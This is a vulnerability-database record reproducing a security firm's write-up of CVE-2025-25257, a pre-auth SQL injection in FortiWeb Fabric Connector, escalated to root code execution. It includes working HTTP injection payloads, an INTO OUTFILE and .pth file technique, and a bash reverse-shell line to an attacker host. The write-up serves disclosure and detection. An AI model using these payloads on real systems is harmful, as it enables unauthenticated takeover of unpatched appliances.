{"uuid": "94b37950-f479-444b-bff8-5571bd15eac5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "title": "Pre-Auth SQL Injection to RCE - Fortinet FortiWeb Fabric Connector (CVE-2025-25257)", "description": "# Pre-Auth SQL Injection to RCE - Fortinet FortiWeb Fabric Connector (CVE-2025-25257)\n\nRef: [https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)\nWelcome back to yet another day in this parallel universe of security.\n\nThis time, we\u2019re looking at Fortinet\u2019s FortiWeb Fabric Connector. \u201cWhat is that?\u201d we hear you say. That's a great question; no one knows.\n\nFor the uninitiated, or unjaded;\n\n&gt; Fortinet\u2019s FortiWeb Fabric Connector is meant to be the glue between FortiWeb (their web application firewall) and other Fortinet ecosystem products, allowing for dynamic, policy-based security updates based on real-time changes in infrastructure or threat posture. Think of it as a fancy middleman - pulling metadata from sources like FortiGate firewalls, FortiManager, or even external services like AWS, and feeding that into FortiWeb so it can automatically adjust its protections. In theory, it should make things smarter and more responsive.\n\nIf you can\u2019t tell, we moonlight inside Fortinet\u2019s Presales Engineering team - the circle of life is very much real in cybersecurity.\n\nAnyway, today, we\u2019re analysing CVE-2025-25257 - a friendly pre-auth SQL injection in FortiWeb Fabric Connector, which, as described above, is the glue between many Fortinet security solutions. Sigh\u2026..\n\n[CVE-2025-25257](https://fortiguard.fortinet.com/psirt/FG-IR-25-151?ref=labs.watchtowr.com) is described as follows:\n\n&gt; **\u201cUnauthenticated SQL injection in GUI -** An improper neutralization of special elements used in an SQL command ('SQL Injection') vulnerability \\[CWE-89\\] in FortiWeb may allow an unauthenticated attacker to execute unauthorized SQL code or commands via crafted HTTP or HTTPs requests.\u201d\n\nThe following versions of FortiWeb are affected:\n\n\n|Version     |Affected            |Solution                  |\n|------------|--------------------|--------------------------|\n|FortiWeb 7.6|7.6.0 through 7.6.3 |Upgrade to 7.6.4 or above |\n|FortiWeb 7.4|7.4.0 through 7.4.7 |Upgrade to 7.4.8 or above |\n|FortiWeb 7.2|7.2.0 through 7.2.10|Upgrade to 7.2.11 or above|\n|FortiWeb 7.0|7.0.0 through 7.0.10|Upgrade to 7.0.11 or above|\n\n\nIn fairness, the Secure-by-Design pledge did not require signers to avoid SQL injections, so we have nothing to say.\n\nAs always, we digress - onto today\u2019s analysis\u2026\n\nDiving In\n---------\n\nAs many are familiar with, when we\u2019re rebuilding N-day\u2019s we typically find ourselves comparing binaries to allow us to quickly determine what has changed and hopefully rapidly identify \u201cthe change\u201d we\u2019re looking for.\n\nFor the purposes of this research, we differ versions of `/bin/httpsd` from;\n\n*   Version 7.6.3\n*   Version 7.6.4\n\nWe wanted to take a few seconds to point out the current state of vendor responsible patching behavior. We\u2019ve coined this concept, with the basic premise that vendors eventually do things that are in the best interests of their customers. We hope it will catch on.\n\nFor those unfamiliar, there has been a shift - where vendors seemingly sit on critical, unauthenticated vulnerabilities in their solutions until they've amassed enough tiny, meaningless changes - in an attempt to effectively bury the security fixes in amongst a tirade of nonsense.\n\nFor example:\n\n![](https://labs.watchtowr.com/content/images/2025/07/image-19.png)\n\nAnyway, these attempts are fairly futile and reflect the same amount of maturity that is engrained within their SDLC processes.\n\nAfter 7 Veeam-years (3 minutes), we identified that the following function (still with symbols!) `get_fabric_user_by_token`.\n\nThe diff output from Diaphora can be found below (don't worry, we will explain this as we go, but isn't it pretty?):\n\n![](https://labs.watchtowr.com/content/images/2025/07/image-20.png)\n\nHere\u2019s the relevant portion of the vulnerable function.\n\nThe issue? A classic SQL injection, a vulnerability so sophisticated that we, as an industry, are still grappling with what the solution could be.\n\nIn this case, the complexity revolves around the part where attacker-controlled input is dropped directly into a SQL query without sanitisation or escaping.\n\n```\n__int64 __fastcall get_fabric_user_by_token(const char *a1)\n{\n  unsigned int v1; // ebx\n  __int128 v3; // [rsp+0h] [rbp-4B0h] BYREF\n  __int64 v4; // [rsp+10h] [rbp-4A0h]\n  _BYTE v5[16]; // [rsp+20h] [rbp-490h] BYREF\n  __int64 (__fastcall *v6)(_BYTE *); // [rsp+30h] [rbp-480h]\n  __int64 (__fastcall *v7)(_BYTE *, char *); // [rsp+38h] [rbp-478h]\n  void (__fastcall *v8)(_BYTE *); // [rsp+58h] [rbp-458h]\n  __int64 (__fastcall *v9)(_BYTE *, __int128 *); // [rsp+60h] [rbp-450h]\n  void (__fastcall *v10)(__int128 *); // [rsp+68h] [rbp-448h]\n  char s[16]; // [rsp+80h] [rbp-430h] BYREF\n  _BYTE v12[1008]; // [rsp+90h] [rbp-420h] BYREF\n  unsigned __int64 v13; // [rsp+488h] [rbp-28h]\n\n  v13 = __readfsqword(0x28u);\n  *(_OWORD *)s = 0;\n  memset(v12, 0, sizeof(v12));\n  if ( a1 &amp;&amp; *a1 )\n  {\n    init_ml_db_obj((__int64)v5);\n    v1 = v6(v5);\n    if ( !v1 )\n    {\n    \n\t    **// VULN\n      snprintf(s, 0x400u, \"select id from fabric_user.user_table where token='%s'\", a1);**\n      \n      \n      v1 = v7(v5, s);\n      if ( !v1 )\n      {\n        v4 = 0;\n        v3 = 0;\n        v1 = v9(v5, &amp;v3);\n        if ( !v1 )\n        {\n          if ( (_DWORD)v3 == 1 )\n          {\n            v10(&amp;v3);\n          }\n          else\n          {\n            v10(&amp;v3);\n            v1 = -3;\n          }\n        }\n      }\n    }\n    v8(v5);\n  }\n  else\n  {\n    return (unsigned int)-1;\n  }\n  return v1;\n}\n\n```\n\n\nThe new version of the function replaces the previous format-string query with prepared statements \u2013 a reasonable attempt to prevent straightforward SQL injection.\n\nLet\u2019s take a closer look at how the updated query works:\n\n```\n v1 = mysql_stmt_init(v9[0]);\n  v2 = v1;\n  if ( !v1 )\n    goto LABEL_14;\n  if ( (unsigned int)mysql_stmt_prepare(v1, \"SELECT id FROM fabric_user.user_table WHERE token = ?\", 53) )\n    goto LABEL_13;\n\n```\n\n\nMagic! Fortinet have always been fairly bleeding edge and we\u2019re privileged to watch innovation in real-time.\n\nBefore we go any further, let\u2019s quickly revisit what \u201cFabric Connector\u201d actually means in the context of FortiWeb \u2013 at least according to Fortinet\u2019s own documentation.\n\n![](https://labs.watchtowr.com/content/images/2025/07/image-21.png)\n\nThe function in question, `get_fabric_user_by_token`, appears to be callable by external Fortinet products \u2013 such as a FortiGate appliance \u2013 when attempting to authenticate to the FortiWeb API for integration purposes.\n\nNow, at this point, you might be wondering: how do we actually reach this \u201cFabric Connector\u201d functionality?\n\nA quick look at the `httpd.conf` for the running Apache server reveals the following routes:\n\n```\n[..SNIP..]\n\n&lt;Location \"/api/fabric/device/status\"&gt;\n    SetHandler fabric_device_status-handler\n&lt;/Location&gt;\n\n&lt;Location \"/api/fabric/authenticate\"&gt;\n    SetHandler fabric_authenticate-handler\n&lt;/Location&gt;\n\n&lt;Location ~ \"/api/v[0-9]/fabric/widget\"&gt;\n    SetHandler fabric_widget-handler\n&lt;/Location&gt;\n\n[..SNIP..]\n\n```\n\n\nInteresting \u2013 we\u2019ve got multiple routes referencing `fabric`. But does that mean all of them can reach our prime suspect: the `get_fabric_user_by_token` function? Only one way to find out.\n\nLet\u2019s take a look at the cross-references for `get_fabric_user_by_token` to understand exactly how it\u2019s being called. The following diagram gives a useful overview of the call paths:\n\n![](https://labs.watchtowr.com/content/images/2025/07/image-22.png)\n\nHere is another point of view:\n\n```\n   [sub_55ED2EED05F0]\u2500\u2500\u2510\n                       \u2502\n   [sub_55ED2EED3170]\u2500\u2500\u253c\u2500\u2500\u25ba [fabric_access_check] \u2500\u2500\u25ba [_fabric_access_check] \u2500\u2500\u25ba [get_fabric_user_by_token]\n                       \u2502\n   [sub_55ED2EED3270]\u2500\u2500\u2518\n\n\n```\n\n\nThe following three functions ultimately invoke `fabric_access_check`, which, in turn, calls our function of interest \u2013 `get_fabric_user_by_token`:\n\n```\nsub_55ED2EED05F0 --&gt; /api/fabric/device/status\nsub_55ED2EED3170 --&gt; /api/v[0-9]/fabric/widget/[a-z]+\nsub_55ED2EED3270 --&gt; /api/v[0-9]/fabric/widget\n\n```\n\n\nA quick inspection of those functions confirms they\u2019re tied directly to the routes we saw earlier. So \u2013 can we use any of those routes to reach our vulnerable function?\n\nExcellent question. The answer: yes.\n\nLet\u2019s take a closer look at the following function:\n\n```\nsub_55ED2EED05F0 --&gt; /api/fabric/device/status\n\n```\n\n\nRight off the bat \u2013 at \\[1\\] \u2013 one of the very first calls made by this function is to `fabric_access_check`. Promising start!\n\n```\n__int64 __fastcall sub_55ED2EED05F0(__int64 a1)\n{\n  const char *v2; // rdi\n  unsigned int v3; // r13d\n  __int64 v5; // r12\n  __int64 v6; // rax\n  __int64 v7; // rax\n  __int64 v8; // rax\n  __int64 v9; // r14\n  __int64 v10; // rax\n  __int64 v11; // rax\n  __int64 v12; // rax\n  __int64 v13; // r14\n  __int64 v14; // rax\n  __int64 v15; // rax\n  __int64 v16; // rax\n  __int64 v17; // rdx\n  __int64 v18; // rcx\n  __int64 v19; // r14\n  __int64 v20; // rax\n  const char *v21; // rax\n  size_t v22; // rax\n  const char *v23; // rax\n\n  v2 = *(const char **)(a1 + 296);\n  if ( !v2 )\n    return (unsigned int)-1;\n  v3 = strcmp(v2, \"fabric_device_status-handler\");\n  if ( v3 )\n  {\n    return (unsigned int)-1;\n  }\n  else if ( (unsigned int)fabric_access_check(a1) )             // [1]\n  {\n    v5 = json_object_new_object(a1);\n    v6 = json_object_new_string(nCfg_debug_zone + 4888LL);\n    json_object_object_add(v5, \"serial\", v6);\n    v7 = json_object_new_string(\"fortiweb\");\n    json_object_object_add(v5, \"device_type\", v7);\n    v8 = json_object_new_string(\"FortiWeb-VM\");\n    json_object_object_add(v5, \"model\", v8);\n    v9 = json_object_new_object(v5);\n    v10 = json_object_new_int(7);\n    json_object_object_add(v9, \"major\", v10);\n    v11 = json_object_new_int(6);\n    json_object_object_add(v9, \"minor\", v11);\n    v12 = json_object_new_int(3);\n    json_object_object_add(v9, \"patch\", v12);\n    json_object_object_add(v5, \"version\", v9);\n    v13 = json_object_new_object(v5);\n    v14 = json_object_new_int(1043);\n    [..SNIP..]\n\n```\n\n\nAlright then \u2013 time to unpack what the `fabric_access_check` function actually does.\n\nIt\u2019s dead simple. Here\u2019s the breakdown:\n\n*   At \\[1\\], the `Authorization` header is extracted from the HTTP request and stored in the `v3` variable.\n*   At \\[2\\], the `__isoc23_sscanf` libc function is used to parse the header. It expects the value to start with `Bearer` (note the space), followed by up to 128 characters \u2013 which are extracted into `v4`.\n*   At \\[3\\], `get_fabric_user_by_token` is called, using the value stored in `v4`.\n\n```\n__int64 __fastcall fabric_access_check(__int64 a1)\n{\n  __int64 v1; // rdi\n  __int64 v2; // rax\n  _OWORD v4[8]; // [rsp+0h] [rbp-A0h] BYREF\n  char v5; // [rsp+80h] [rbp-20h]\n  unsigned __int64 v6; // [rsp+88h] [rbp-18h]\n\n  v1 = *(_QWORD *)(a1 + 248);\n  v6 = __readfsqword(0x28u);\n  v5 = 0;\n  memset(v4, 0, sizeof(v4));\n  v3 = apr_table_get(v1, \"Authorization\"); // [1]\n  if ( (unsigned int)__isoc23_sscanf(v2, \"Bearer %128s\", v4) != 1 ) // [2]\n    return 0;\n  v5 = 0;\n  if ( (unsigned int)fabric_user_db_init()\n    || (unsigned int)refresh_fabric_user()\n    || (unsigned int)get_fabric_user_by_token((const char *)v4) ) // [3]\n  {\n    return 0;\n  }\n  else\n  {\n    return 2 * (unsigned int)((unsigned int)update_fabric_user_expire_time_by_token((const char *)v4) == 0);\n  }\n}\n\n```\n\n\nAs a quick reminder \u2013 `get_fabric_user_by_token` is our vulnerable function, where the attacker-controlled `char *a1` ends up being embedded directly into a MySQL query.\n\n```\n__int64 __fastcall get_fabric_user_by_token(const char *a1)\n{\n  unsigned int v1; // ebx\n  __int128 v3; // [rsp+0h] [rbp-4B0h] BYREF\n  __int64 v4; // [rsp+10h] [rbp-4A0h]\n  _BYTE v5[16]; // [rsp+20h] [rbp-490h] BYREF\n  __int64 (__fastcall *v6)(_BYTE *); // [rsp+30h] [rbp-480h]\n  __int64 (__fastcall *v7)(_BYTE *, char *); // [rsp+38h] [rbp-478h]\n  void (__fastcall *v8)(_BYTE *); // [rsp+58h] [rbp-458h]\n  __int64 (__fastcall *v9)(_BYTE *, __int128 *); // [rsp+60h] [rbp-450h]\n  void (__fastcall *v10)(__int128 *); // [rsp+68h] [rbp-448h]\n  char s[16]; // [rsp+80h] [rbp-430h] BYREF\n  _BYTE v12[1008]; // [rsp+90h] [rbp-420h] BYREF\n  unsigned __int64 v13; // [rsp+488h] [rbp-28h]\n\n  v13 = __readfsqword(0x28u);\n  *(_OWORD *)s = 0;\n  memset(v12, 0, sizeof(v12));\n  if ( a1 &amp;&amp; *a1 )\n  {\n    init_ml_db_obj((__int64)v5);\n    v1 = v6(v5);\n    if ( !v1 )\n    {\n    \n\t    **// VULN\n      snprintf(s, 0x400u, \"select id from fabric_user.user_table where token='%s'\", a1);**\n      \n      [..SNIP..]\n\n\n```\n\n\nWhich means our controlled input \u2013 passed via the `Authorization: Bearer %128s` header \u2013 ends up in the following MySQL query (using the example value \u2018watchTowr\u2019 (because of the imagination we ooze):\n\n```\n**select id from fabric_user.user_table where token='watchTowr'**\n\n```\n\n\nNow, let\u2019s put this theory to the test \u2013 we\u2019ll inject a simple `SLEEP` statement and see if it has the intended effect.\n\n![](https://labs.watchtowr.com/content/images/2025/07/image-23.png)\n\nFor those following along at home, here is the raw HTTP request:\n\n```\nGET /api/fabric/device/status HTTP/1.1\nHost: 192.168.8.30\nAuthorization: Bearer AAAAAA' or sleep(5)-- -'\n\n\n```\n\n\nWait \u2013 why isn\u2019t the response time equal to 5 seconds? That\u2019s... not what we expected.\n\n![](https://labs.watchtowr.com/content/images/2025/07/image-24.png)\n\nNow, for those wondering why the injection above didn\u2019t work (the seasoned folks already know), let\u2019s make a point of answering that properly.\n\nWe set a breakpoint just after the final query is constructed, using the payload `AAAAAA' or sleep(5)-- -'`.\n\nThe breakpoint hits \u2013 and inspecting the final query reveals something rather unexpected.\n\n![](https://labs.watchtowr.com/content/images/2025/07/image-25.png)\n\nAs you can see, our single quote was successfully injected, but everything after it was silently dropped. A Fortinet feature?\n\nOr perhaps, is there something wrong with the query?\n\nAs a reminder, here\u2019s the sequence of function calls leading up to the point where our controlled input is inserted into the query:\n\n![](https://labs.watchtowr.com/content/images/2025/07/image-26.png)\n\nOne call before `get_fabric_user_by_token` is, of course, `_fabric_access_check`. Let\u2019s revisit that code one more time and take a closer look.\n\n```\n__int64 __fastcall fabric_access_check(__int64 a1)\n{\n  __int64 v1; // rdi\n  __int64 v2; // rax\n  _OWORD v4[8]; // [rsp+0h] [rbp-A0h] BYREF\n  char v5; // [rsp+80h] [rbp-20h]\n  unsigned __int64 v6; // [rsp+88h] [rbp-18h]\n\n  v1 = *(_QWORD *)(a1 + 248);\n  v6 = __readfsqword(0x28u);\n  v5 = 0;\n  memset(v4, 0, sizeof(v4));\n  v2 = apr_table_get(v1, \"Authorization\");\n  if ( (unsigned int)__isoc23_sscanf(v2, \"Bearer %128s\", v2) != 1 )\n    return 0;\n  v5 = 0;\n  if ( (unsigned int)fabric_user_db_init()\n    || (unsigned int)refresh_fabric_user()\n    || (unsigned int)get_fabric_user_by_token((const char *)v4) )\n  {\n    return 0;\n  }\n  else\n  {\n    return 2 * (unsigned int)((unsigned int)update_fabric_user_expire_time_by_token((const char *)v4) == 0);\n  }\n}\n\n```\n\n\nSee it now? It\u2019s dead simple.\n\nThe `__isoc23_sscanf` C function is used to extract our input \u2013 and, as per its format string, it stops reading at the first space character. That means we can\u2019t include spaces in our injected query. Classic.\n\nBut of course, we\u2019ve all been around long enough to remember the good old days \u2013 and the good old MySQL comment trick: `/**/`.\n\nTime to dust it off and see it in action.\n\n![](https://labs.watchtowr.com/content/images/2025/07/image-27.png)\n\nFor those following along at home, here is the raw HTTP request:\n\n```\nGET /api/fabric/device/status HTTP/1.1\nHost: 192.168.8.30\nAuthorization: Bearer AAAAAA'/**/or/**/sleep(5)--/**/-'\n\n\n```\n\n\nWe\u2019re sure you can feel our joy, as well:\n\n![](https://labs.watchtowr.com/content/images/2025/07/image-28.png)\n\nNow let\u2019s throw it back to the \u201980s (otherwise known as modern-day Fortinet) and hit the software with a classic `OR 1=1` .\n\nThis lets us bypass the token check entirely, which is particularly handy if you\u2019re looking to detect the vulnerability's presence without going full-steam ahead with exploitation:\n\n![](https://labs.watchtowr.com/content/images/2025/07/image-29.png)\n\nFor those following along at home, here is the raw HTTP request:\n\n```\nGET /api/fabric/device/status HTTP/1.1\nHost: 192.168.8.30\nAuthorization: Bearer AAAAAA'or'1'='1\n\n```\n\n\nBeautiful, a `200 OK` HTTP response - confirming that our SQL injection was successful and the token check was bypassed:\n\n```\nHTTP/1.1 200 OK\nDate: Thu, 10 Jul 2025 17:20:09 GMT\nStrict-Transport-Security: max-age=31536000; includeSubDomains; preload\nX-Frame-Options: SAMEORIGIN\nX-XSS-Protection: 1; mode=block\nContent-Security-Policy: Script-Src 'self', frame-ancestors 'self'; Object-Src 'self'; base-uri 'self';\nX-Content-Type-Options: nosniff\nContent-Length: 248\nCache-Control: no-cache, no-store, must-revalidate\nPragma: no-cache\nExpires: 0\nContent-Type: application/json\n\n{ \"serial\": \"FVVM00UNLICENSED\", \"device_type\": \"fortiweb\", \"model\": \"FortiWeb-VM\", \"version\": { \"major\": 7, \"minor\": 6, \"patch\": 3 }, \"build\": { \"number\": 1043, \"release_life_cycle\": \"GA\" }, \"hostname\": \"FortiWeb\", \"supported_api_versions\": [ 1 ] }\n\n```\n\n\nJust to help, here is a the request/response pair from a patched version:\n\n![](https://labs.watchtowr.com/content/images/2025/07/image-30.png)\n\nHTTP request:\n\n```\nGET /api/fabric/device/status HTTP/1.1\nHost: 192.168.8.30\nAuthorization: Bearer AAAAAA'or'1'='1\n\n```\n\n\nHTTP response:\n\n```\nHTTP/1.1 401 Unauthorized\nDate: Thu, 10 Jul 2025 17:20:50 GMT\nStrict-Transport-Security: max-age=31536000; includeSubDomains; preload\nX-Frame-Options: SAMEORIGIN\nX-XSS-Protection: 1; mode=block\nContent-Security-Policy: script-src 'self'; default-src 'self'; style-src 'self' 'unsafe-inline'; font-src 'self'; img-src 'self' data:; connect-src 'self'; frame-ancestors 'none'; object-src 'none'; base-uri 'self'; upgrade-insecure-requests; block-all-mixed-content;\nX-Content-Type-Options: nosniff\nContent-Length: 0\n\n\n```\n\n\nNote: We observed the drama and mass PR\u2019s relating to vulnerability detections created via our CVE-2025-5777 analysis - please, slow down and stay calm.\n\nFrom Pre-Auth SQLi to Pre-Auth RCE\n----------------------------------\n\nPre-auth SQLi is fun, but do we look like pentest consultants looking to \u2018validate\u2019 a vulnerability before we head into our \u2018reporting time\u2019?\n\nNow the rollercoaster of fun begins \u2013 can we escalate this MySQL injection into Remote Command Execution?\n\nTo find out, we crack open the ancient scrolls of MySQL exploitation and revisit a time-honoured technique: the **`INTO OUTFILE`** statement.\n\nAs a quick refresher, `INTO OUTFILE` gives us an arbitrary file write primitive, allowing us to drop files directly onto the target filesystem.\n\nEven the MySQL docs describe it like this:\n\n![](https://labs.watchtowr.com/content/images/2025/07/image-31.png)\n\nNow, one important caveat when using `INTO OUTFILE` \u2013 the file gets written with the privileges of the user running the MySQL process. And as we all know, 90% of the time, that\ufffd\ufffds the `mysql` user \u2013 assuming, of course, nothing\u2019s been misconfigured.\n\nHa ha ha ha ha.\n\nWell \u2013 let\u2019s find out.\n\n![](https://labs.watchtowr.com/content/images/2025/07/image-32.png)\n\nYikes. In fairness, again, this level of detail isn\u2019t in any pledge so how would Fortinet have known?\n\nSo, now, in this parallel universe of security - we\u2019re still in the 80\u2019s and we\u2019ve got arbitrary file write as `root` via our SQL injection. Naturally, the next step is code execution.\n\nYou might be thinking: \u201cjust drop a webshell.\u201d And, to be honest, you\u2019d be absolutely right.\n\nAs it turns out, there\u2019s a conveniently exposed `cgi-bin` directory we can write to \u2013 and Apache\u2019s own `httpd.conf` backs this up loud and clear:\n\n```\n[..SNIP..]\n\n&lt;IfModule alias_module&gt;\n    ScriptAlias /cgi-bin/ \"/migadmin/cgi-bin/\"\n&lt;/IfModule&gt;\n\n&lt;Directory \"/migadmin/cgi-bin\"&gt;\n    Options +ExecCGI\n    SetHandler cgi-script\n&lt;/Directory&gt;\n\n[..SNIP..]\n\n```\n\n\nSo if we drop files into `cgi-bin` and visit them, we should get code execution, right?\n\nWell \u2013 not quite.\n\nThe files do end up in the right place, but they aren\u2019t marked as executable. And no, we can\u2019t set the executable bit via SQL injection. Dead end?\n\nNot yet.\n\nAt this point, you might chime in with:\n\n&gt; Haha, why don\u2019t you just overwrite an existing executable file?\n\nWell, dear informed reader \u2013 as we mentioned earlier, `INTO OUTFILE` in MySQL doesn\u2019t allow you to overwrite or append to existing files. The file must not exist when the statement runs \u2013 otherwise, it fails. So... dead end?\n\nStill no.\n\nLet\u2019s get creative \u2013 it\u2019s time to take a closer look at what\u2019s already living inside the `cgi-bin` directory:\n\n```\nbash-5.0# ls -la /migadmin/cgi-bin\ndrwxr-xr-x    2 root     0             4096 Jul 10 05:55 .\ndrwxr-xr-x   14 root     0             4096 Jul 10 05:49 ..\n-rwxrwxrwx    1 root     0          1499568 Mar  3 17:25 fwbcgi\n-rwxr-xr-x    1 root     0             3475 Mar  3 17:25 ml-draw.py\n\n```\n\n\nWell well \u2013 would you look at that.\n\nThere\u2019s a Python file sitting right there in `cgi-bin`, and yes \u2013 we can browse to it, and Apache will happily execute it as a CGI script. Totally safe. Nothing to see here.\n\nBut here\u2019s the interesting bit: checking the shebang line of that Python file reveals something unsurprising \u2013 but extremely useful for what comes next.\n\n```\n#!/bin/python\nimport os\nimport sys\nimport cgi\nimport cgitb; cgitb.enable()\n\nos.environ[ 'HOME' ] = '/tmp/'\n\nimport time\nfrom datetime import datetime\n\nimport matplotlib\nmatplotlib.use( 'Agg' )\n\nimport pylab\nform = cgi.FieldStorage()\n\n[..SNIP..]]\n\n```\n\n\nThe shebang tells us that when this script is executed (as it is every time the file is accessed), it\u2019s run using `/bin/python`. So every time someone visits this file \u2013 Python spins up.\n\nYou see where this is going? If not, don\u2019t worry \u2013 here\u2019s a neat trick that\u2019s been around for a while when you find yourself in a situation like this.\n\nCredit where it\u2019s due \u2013 the folks at SonarSource have done an excellent job documenting this primitive, so we\u2019ll borrow a line directly within their blog post:\n\n&gt; Python supports a feature called\u00a0site-specific configuration hooks. Its main purpose is to add custom paths to the module search path. To do this, a\u00a0.pth\u00a0file with an arbitrary name can be put in the\u00a0.local/lib/pythonX.Y/site-packages/\u00a0folder in a user's home directory:\n\nPretty useful \u2013 especially when arbitrary file write meets Python execution.\n\n```\nuser@host:~$ echo '/tmp' &gt; ~/.local/lib/python3.10/site-packages/foo.pth\n\n```\n\n\nLong story short: if you can write to that directory and drop a file with a `.pth` extension, Python will helpfully do the rest.\n\nSpecifically, if any line in that `.pth` file starts with `import[SPACE]` or `import[TAB]` followed by valid Python code, the [`site.py`](https://docs.python.org/3/library/site.html?ref=labs.watchtowr.com) parser \u2013 which is executed every time a Python process starts \u2013 will say, \u201cAh, yes, I should run this line of code.\u201d\n\nIf you\u2019d like to dive deeper into this, once again, we highly recommend reading SonarSource Research\u2019s explanation \u2013 they cover this primitive better than most.\n\nSo, the plan is simple:\n\n1.  Write a `.pth` file with Python code inside it into the `site-packages` directory,\n2.  Trigger `/cgi-bin/ml-draw.py`.\n3.  Apache will launch `/bin/python`, `site.py` will run, and our `.pth` file will get picked up and executed \u2013 no executable bit required.\n\nPerfect.\n\nBut a plan is just a plan \u2013 can we actually pull this off?\n\nWe started naively, by attempting the following query:\n\n```\n'/**/or/**/1=1/**/UNION/**/SELECT/**/'import os;os.system(\\\\'ls\\\\')'/**/into/**/outfile/**/'/var/log/lib/python3.10/site-packages/trigger.pth\n\n\n```\n\n\nThe idea was simple: write `import os;os.system('ls')` into `/var/log/lib/python3.10/site-packages/trigger.pth`.\n\nBut, of course, a few issues quickly surfaced:\n\n*   Our payload contains a space \u2013 which, as we\u2019ve established, breaks the `%128s` constraint in the `sscanf` call.\n*   Even worse, the total header value now exceeds the 128-character limit entirely.\n\nOkay \u2013 what if we shorten the path to something like `/var/log/lib/python3.10/site-packages/a.pth`?\n\nThat helps a little... but we\u2019re still stuck with the space in `import os`.\n\nTo get around that, we can turn to an old favourite from the MySQL toolbox \u2013 the `UNHEX()` function.\n\n```\nUNHEX('41414141') --&gt; AAAA\n\n```\n\n\nSo we just hex-encode our payload and write it to the file?\n\nIf only life were that easy.\n\nLet\u2019s say we try a reverse shell payload \u2013 something like this:\n\n```\nimport os; os.system('bash -c \"/bin/bash -i &gt;&amp; /dev/tcp/{args.lhost}/{args.lport} 0&gt;&amp;1\"')\n\n```\n\n\nWe\u2019ll end up with something like this:\n\n```\nUNHEX('696d706f7274206f733b206f732e73797374656d282762617368202d6320222f62696e2f62617368202d69203e26202f6465762f7463702f312f3220303e2631222729')\n\n```\n\n\nWhich, unfortunately, exceeds the maximum input limit.\n\nFrustrated, we had an idea: what if instead of going for a one-shot payload, we break it down into chunks? Could that work?\n\nOf course, there\u2019s a well-known limitation with MySQL\u2019s `INTO OUTFILE` \u2013 it only allows writing to new files. No appending, no overwriting. You get one shot per file path.\n\nBut then came the twist: sure, we\u2019re limited to calling `INTO OUTFILE` once per destination file \u2013 but we\u2019re not limited in how we build the content beforehand.\n\nSo what if we store our payload, chunk by chunk, into another column... and then ask MySQL to dump that column\u2019s value into a file?\n\nLooking through the schema for `fabric_user.user_table`, one column stood out immediately: `token`. Perfect.\n\n![](https://labs.watchtowr.com/content/images/2025/07/image-33.png)\n\nWould something like this work?\n\n```\nBearer '/**/UNION/**/SELECT/**/token/**/from/**/fabric_user.user_table/**/into/**/outfile/**/'/var/log/lib/python3.10/site-packages/b.pth\n\n```\n\n\nBut once again \u2013 the query above? 137 bytes long.\n\nLooks like we\u2019re cooked, right?\n\nWe were more than a little frustrated at this point. But \u2013 not out of ideas.\n\nWhat if we used glob characters? Instead of supplying the full path, we tried something like:\n\n```\nbash\n/var/log/lib/python3.10/site-*/\n\n```\n\n\nUnfortunately, MySQL greeted us with another error \u2013 turns out it doesn\u2019t support globbing in `INTO OUTFILE`. Shame.\n\nOkay, new idea: what if we used a relative path instead of an absolute one?\n\nGreat news \u2013 that worked.\n\nBy using a relative path in the `INTO OUTFILE` query, MySQL resolved it relative to the process\u2019s working directory \u2013 which happened to be pretty close to Python\u2019s `site-packages`. We used:\n\n```\nbash\n../../lib/python3.10/site-packages/x.pth\n\n```\n\n\nAnd the final payload?\n\n```\nsql\n'/**/UNION/**/SELECT/**/token/**/from/**/fabric_user.user_table/**/into/**/outfile/**/'../../lib/python3.10/site-packages/x.pth'\n\n```\n\n\nTotal length: **127 bytes**. One byte to spare. Lucky us.\n\nDetection Artefact Generator\n----------------------------\n\n0:00\n\n/0:37\n\n![](https://labs.watchtowr.com/content/media/2025/07/Fortiweb-Demo_thumb.jpg)\n\n![](https://labs.watchtowr.com/content/images/2025/07/image-34.png)\n\n[https://github.com/watchtowrlabs/watchTowr-vs-FortiWeb-CVE-2025-25257](https://github.com/watchtowrlabs/watchTowr-vs-FortiWeb-CVE-2025-25257?ref=labs.watchtowr.com)\n\nAt\u00a0[watchTowr](https://www.watchtowr.com/?ref=labs.watchtowr.com), we passionately believe that continuous security testing is the future and that rapid reaction to emerging threats single-handedly prevents inevitable breaches.\n\nWith the watchTowr Platform, we deliver this capability to our clients every single day - it is our job to understand how emerging threats, vulnerabilities, and TTPs could impact their organizations, with precision.\n\nIf you'd like to learn more about the\u00a0[**watchTowr Platform**](https://www.watchtowr.com/?ref=labs.watchtowr.com)**, our Attack Surface Management and Continuous Automated Red Teaming solution,**\u00a0please get in touch.", "description_format": "markdown", "vulnerability": "cve-2025-25257", "creation_timestamp": "2025-07-11T12:39:36.125991+00:00", "timestamp": "2025-07-11T12:39:36.125991+00:00", "related_vulnerabilities": ["CVE-2025-5777", "CVE-2025-25257"], "meta": [{"tags": ["vulnerability:exploitability=documented"]}], "author": {"login": "sync_user", "name": "sync_user", "uuid": "4f29edb9-4c4b-44ca-b041-9b050656b6ae"}}
